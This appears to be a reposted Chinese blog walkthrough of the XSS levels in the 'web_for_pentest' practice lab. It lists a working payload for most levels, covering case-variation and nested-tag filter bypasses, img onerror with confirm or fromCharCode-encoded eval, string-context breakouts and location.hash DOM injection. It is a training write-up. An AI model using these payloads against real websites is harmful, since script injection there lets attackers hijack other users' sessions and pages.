您的位置:首页 > 其它

web_for_pentest XSS系列

2016-04-29 20:32 253 查看
web_for_pentest   XSS 系列
最近突然想把web捡起来,至少再熟悉一下吧。于是乎在freebuf上找到了这个:
http://www.freebuf.com/sectool/8215.html
web_for_pentest是一个集成了基础web漏洞的环境,下载iso开虚拟机就完成了环境的搭建,不懂得一搜一大堆。一个项目一个项目来,先是XSS部分(太简单了。。。大神别打我)

xss1



name = <script>alert(‘xss’)</script>

 


xss2



发现<script>被过滤了。换一种方式,用大小写:<SCRIPT>alert(‘TEST’)</script>

 


 

xss3

<script>被过滤了,把script分割开就好了

name=<scri<script>pt>alert(‘xss’)</SC</script>RIPT>

 

xss4

基本的测试输出error



name=<img src="1" onerror="alert(‘xss%’)">

 

xss5

在xss4的基础上,alert被过滤了,输出error,利用Img标签和confirm函数

name=<img%20src="1"%20onerror="confirm(%27xss%27)">

或者用eval函数

name=<img src="1"

onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

String.fromCharCode函数是把输入字符的unicode值转化为字符串,上面这个

String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)输出就是:alert(‘xss’)

 


xss6
发现在页面上不会输出什么东西,于是打开F12,查看元素,发现竟然把输入的东西输出到了<script>标签中



好吧,那就简单了,熟悉javascript的语法就可以了,闭合双引号,加分号结束var的定义,然后再写一个alert,注释掉后面的语句。

name=xss";alert($a);//

 


xss7

这个和xss6一样的,只不过是把双引号变成单引号了
name=xss’;alert($a);//

 


xss8
发现输入的东西被原样输出在页面了,好像没有办法了,但是发现在提交按钮对应的表单中your name没有接收到任何东西
 


我就…..在表单上加了一个Onsubmit函数,点击按钮的时候会触发弹窗》。。。《算作弊吗。。

 




xss9

打开后发现输入<script>alert(‘xss’)</script>就弹框了。。。这不是逗我呢。。。和第一题一样?后来发现url是在一个#后面。打开F12发现了



哦,原来考的是利用location.hash获取url中#后面的部分,这个substring是从第一个字符取到最后 --, 好像并没有什么用。然后document.write写到页面中。

 

这几个xss是最基础的。现在做起来还有些费力,该加把劲了!

 
ps:祝大家五一假期愉快@_@

 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  web_for_penteset XS web